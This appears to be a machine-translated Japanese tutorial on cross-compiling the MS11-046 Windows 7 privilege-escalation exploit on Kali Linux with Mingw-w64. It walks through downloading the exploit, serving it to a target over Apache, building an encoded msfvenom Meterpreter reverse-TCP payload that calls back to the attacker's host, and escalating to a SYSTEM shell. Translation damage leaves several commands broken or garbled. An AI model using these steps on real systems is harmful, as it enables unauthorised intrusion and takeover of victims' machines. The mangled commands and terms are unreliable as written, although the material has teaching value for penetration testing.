1. ホーム
  2. オペレーティングシステム
  3. その他のシステム

Kali LinuxでWindowsエクスプロイトをコンパイルする方法

2022-01-23 01:55:40

Kali LinuxでWindowsエクスプロイトをコンパイルする方法!

Mingw-w64は、Windowsアプリケーションを作成するための、フリーでオープンソースのソフトウェア開発環境です。Mingw-w64は元々Mingw32と呼ばれており、当時は64ビットアーキテクチャをサポートしていませんでした。このチュートリアルでは、Mingw-64を使用してKali Linux上でWindowsエクスプロイトをコンパイルする方法について説明します。それでは、Kali LinuxにMingw-w64をインストールするところから始めましょう。

Mingw-w64は、Windowsアプリケーションを作成するためのフリーでオープンソースのソフトウェア開発環境です。Mingw-w64は元々Mingw32と呼ばれており、当時は64ビットアーキテクチャをサポートしていませんでした。

このチュートリアルでは、Mingw-64 を使用して Kali Linux 上で Windows エクスプロイトをコンパイルする方法について説明します。それでは、Kali LinuxにMingw-w64をインストールするところから始めましょう。

1. Kali LinuxへのMingw-w64のインストール

Kali Linux 2016.2以下では、デフォルトでMingw-w64はインストールされていません。したがって、Linux上でWindowsエクスプロイトをコンパイルする前に、まずそれをインストールする必要があります。以下のコマンドを実行し、Mingw-w64をインストールします。

apt-get update apt-get install mingw-w64    

apt-get install mingw-w64 を使用して、Kali ホストに mingw-w64 をインストールします。

yes に y を入力して確定し、Mingw-w64 のインストール作業を続行します。Mingw-w64のダウンロードとインストールにはしばらく時間がかかる場合があります。

2. mingw-w64というパッケージの解決策が見つからない

mingw-w64 パッケージをインストールしようとしたときに、mingw-w64 パッケージが見つからないというエラーが発生し、以下のようなプロンプトが表示されることがあります。

root@kali:~# apt-getinstall mingw-w64 Reading package lists...Done Building dependency tree Reading stateinformation... Done E: Unable to locatepackage mingw-w64  

この問題を解決するには、sources.list ファイルに正しいリポジトリが含まれていることを確認します。nano を使用して、このファイルを編集することができます。

/etc/apt/sources.list

このファイルに正しいリポジトリがあることを確認してください。Kali Linux の異なるバージョンのリポジトリは以下のページで確認できます。

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

sources.list ファイルから正しいリポジトリを使用するには、apt-get update を実行してから、Mingw-w64 パッケージのインストールコマンドを再度実行する必要があります。

3. Mingw-w64によるWindowsエクスプロイトのクロスコンパイル

Mingw-w64がインストールされたので、Windowsエクスプロイトのコンパイルを開始します。このチュートリアルでは、Windows 7 SP0 x86のCVE-2011-1249(MS11-046)脆弱性を悪用するために、C言語で書かれたWindowsエクスプロイトをコンパイルします。このバージョンのWindowsオペレーティングシステムには、Accessibility Feature Driver (AFD) に、認証された非管理者ユーザーによる特権の昇格を可能にする脆弱性が存在します。Mingw-w64は、大いに必要とされる64ビットサポートのために開発されたにもかかわらず、我々は32ビットWindowsの脆弱性をコンパイルすることができます。32ビットWindowsのエクスプロイトをコンパイルする方法を見てみましょう。

Exploit-dbからexploitをダウンロードしましょう。

wget --output-document= 40564.c https://www.exploit-db.com/download/40564

以下のコマンドを使用して、Windows 32ビット用のafd.sys exploitをコンパイルします。

i686-w64-mingw32-gcc [入力ファイル: source]-o [出力ファイル: .exe]-lws2_32

以下のコマンドは、Windows 7 の afd.sys の特権昇格の脆弱性をコンパイルするものです。

i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32  

Windowsの脆弱性をコンパイルする。

ターゲット ホストにエクスプロイトを移動するために、組み込みの Apache Web サーバーを使用してそれを提供します。最後の2つのコマンドは、exploitをApacheのホームディレクトリにコピーし、Apache Webサーバーを開始します。

cmd.exeからexploitをダウンロードし実行すると、以下のようになります。 

エクスプロイトが正常に実行されました。

なぜなら、whoamiコマンドはexploitを実行する前は通常のユーザー権限を返し、実行後はシステムユーザー権限を示していることがわかるからです。このエクスプロイトでは、新しいウィンドウで新しいシェルを作成するのではなく、現在のシェルで実際に新しいシェルを生成します。つまり、Meterpreterなどのコマンドラインシェルからこのエクスプロイトを実行することも可能です。

4. コンパイルエラーを利用する

異なるアーキテクチャやOSに対して脆弱性をコンパイルする場合、多くのエラーが発生する可能性があります。コンパイルに失敗する要因は、構文、ライブラリ、ホストとターゲットのアーキテクチャ、コンパイルに使用したインストール済みのソフトウェアなど、多岐にわたります。エラーは簡単に修正できるものもあれば、そうでないものもあります。また、致命的なエラーと異なる警告が出ることも重要です。警告は、脆弱性の動作を妨げない範囲で、同様に古くなった機能を示しているだけの場合があるからです。致命的なエラーは、エクスプロイトが機能しなくなるため、修正する必要があります。

コンパイルエラーに対処する最善の方法は、よく読んでからGoogleで解決策を検索することです。通常、特定のコンパイルエラーに直面するのはあなただけではありませんから、車輪の再発明をする必要はありません。オンラインリソース(Stack Swapなど)には、最も一般的なコンパイルエラーに対する可能な解決策が掲載されていることがよくあります。

5. MeterpreterシェルからMS11-046を活用する

Msfvenom を使用して、Windows 32 ビット Meterpreter 逆引き TCP ペイロードをすばやく生成し、ターゲット ホストで実行しましょう。Metasploitのマルチプロセッサを使用して、リバースシェルをキャプチャします。

Msfvenomを使用して、以下のコマンドでペイロードを作成します。

msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai-fはexe -o exploit.exe

リスニングホストのIPと、必要であればリスニングポートを必ず変更してください。ここで msfconsole を起動し、次のコマンドを実行してマルチプロセッサ エクスプロイトをセットアップします。

exploit/multi/handler を使用する set lhost [リスニングホスト IP] set lport 4444 run   

ポート4444でリバースTCPハンドラを起動します。

次に、ターゲットホストにエクスプロイトをダウンロードし、実行します。すべてが正しく設定されていれば、msfconsoleでリバースMeterpreterシェルが 

ターゲットホストが Kali に接続し直します。

Meterpreter のコマンドラインで次の "shell" コマンドを実行し、特権昇格エクスプロイトを実行して、シェルをシステムシェルにアップグレードします。 

Meterpreter のセッションを通じて、特権昇格攻撃が成功しました。

ご覧の通り、シェルは特権を持つテストユーザーシェルからシステムシェルに変化します。なお、新しいシステムシェルは、それを実行するシェルで生成されます。したがって、exploit の出力は制限された特権を持つ古いシェルにあるため、見ることができないのです。

Exit と入力すると、システム シェルが終了し、Windows 7 の特権昇格エクスプロイトの出力が残っているユーザー シェルに戻ります。 

特権ユーザーシェルでのexploitの出力です。

学習内容

このチュートリアルでは、Windowsに対する脆弱性をLinux上でクロスコンパイルするための基本的な方法を学びました。Kali Linux に Mingw-w64 をインストールする方法と、最も一般的なインストールの問題を解決する方法を学びました。脆弱性のコンパイルプロセスを練習するために、Windows 7 x86に対する特権昇格の脆弱性をコンパイルしました。これは、クロスコンパイルとしても知られています。

コンパイルした実行ファイルをターゲットホスト上で実行し、シェルを制限付きユーザシェルからシステムシェルにアップグレードすることに成功しました。この特定のエクスプロイトが、エクスプロイトが実行されるシェルを生成することはすでに分かっています。これにより、コマンドライン(例:Meterpreter シェル)からエクスプロイトを実行し、特権昇格エクスプロイトを実行することも可能です。

最後になりましたが、コンパイル時のバグを修正する方法を学びました。